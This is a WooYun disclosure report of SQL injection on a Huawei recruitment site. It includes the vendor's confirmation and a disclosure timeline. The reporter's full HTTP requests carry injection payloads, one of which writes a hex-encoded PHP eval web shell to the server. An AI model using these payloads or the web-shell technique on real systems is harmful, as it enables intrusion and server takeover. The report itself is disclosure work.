当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156878

漏洞标题:华为某站Getshell

相关厂商:华为技术有限公司

漏洞作者: ′雨。

提交时间:2015-11-29 17:31

修复时间:2016-01-16 10:12

公开时间:2016-01-16 10:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-29: 细节已通知厂商并且等待厂商处理中
2015-12-02: 厂商已经确认,细节仅向厂商公开
2015-12-12: 细节向核心白帽子及相关领域专家公开
2015-12-22: 细节向普通白帽子公开
2016-01-01: 细节向实习白帽子公开
2016-01-16: 细节向公众公开

简要描述:

Shell

详细说明:

career-whrc.huawei.com/pages/handle/register.handle.php
首先先注册了个号 注册了之后 再注册了一次。
在用户名的地方加了个单引号 就提示注册失败了。
就应该是注入了。
POST /pages/handle/register.handle.php HTTP/1.1
Host: career-whrc.huawei.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://career-whrc.huawei.com/pages/register.php
Cookie: forum-guest=true; TS_think_language=zh-cn; PHPSESSID=ijjbrl8f0s1uctffi4g2d8vtm2; hwsso_uniportal=""; hwsso_login=""
Content-Type: application/x-www-form-urlencoded
Content-Length: 561
[email protected]&password=xiaoyuasd&password_=xiaoyuasd&nickname=11&name=%E9%9B%A8%E9%9B%A8%E9%9B%A8&sex=%E7%94%B7&phone=18385150614 &graduate_date=2015&diploma=%E6%9C%AC%E7%A7%91&university=%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6&college=%E8%BD%AF%E4%BB%B6%E5%AD%A6%E9%99%A2&special=%E8%BD%AF%E4%BB%B6%E5%B7%A5%E7%A8%8B&supervisor=',1,(select user()))#&student_id=150101081111213&major=web#&register_btn=%E6%B3%A8%E5%86%8C
注册后 然后登录。
雨雨雨
主攻方向: root@localhost
还是root 但是这里是insert insert 是没办法outfile的
但是突然想起来 每次注册的时候都会检测手机号是否注册过了
这种一般都是select查询表中是否还有这个手机号
目测就能outfile了。
在手机号那里加了个单引号
x-large;'>( ! )</span> Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in C:\wamp\www\HuaweiPortal\pages\handle\register.handle.php on line <i>93</i></th></tr>
还出了路径。
直接outfile了。
POST /pages/handle/register.handle.php HTTP/1.1
Host: career-whrc.huawei.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://career-whrc.huawei.com/pages/register.php
Cookie: forum-guest=true; TS_think_language=zh-cn; PHPSESSID=ijjbrl8f0s1uctffi4g2d8vtm2; hwsso_uniportal=""; hwsso_login=""
Content-Type: application/x-www-form-urlencoded
Content-Length: 568
[email protected]&password=xiaoyuasd&password_=xiaoyuasd&nickname=11&name=%E9%9B%A8%E9%9B%A8%E9%9B%A8&sex=%E7%94%B7&phone=18385150614' and 0 union select 0x3C3F70687020406576616C28245F504F53545B79755D293B3F3E into outfile 'C:/wamp/www/HuaweiPortal/pages/handle/yuxx.php'# &graduate_date=2015&diploma=%E6%9C%AC%E7%A7%91&university=%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6&college=%E8%BD%AF%E4%BB%B6%E5%AD%A6%E9%99%A2&special=%E8%BD%AF%E4%BB%B6%E5%B7%A5%E7%A8%8B&supervisor=',1,(select user()))#&student_id=150101081111213&major=web#&register_btn=%E6%B3%A8%E5%86%8C

漏洞证明:

1.png


大概看了看 问题太多了。。

修复方案:

全局gpc addslashes 一下把

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-02 10:10

厂商回复:

感谢′雨。对华为公司安全的关注,我们已将该漏洞通知了相关的业务部门处理。

最新状态:

暂无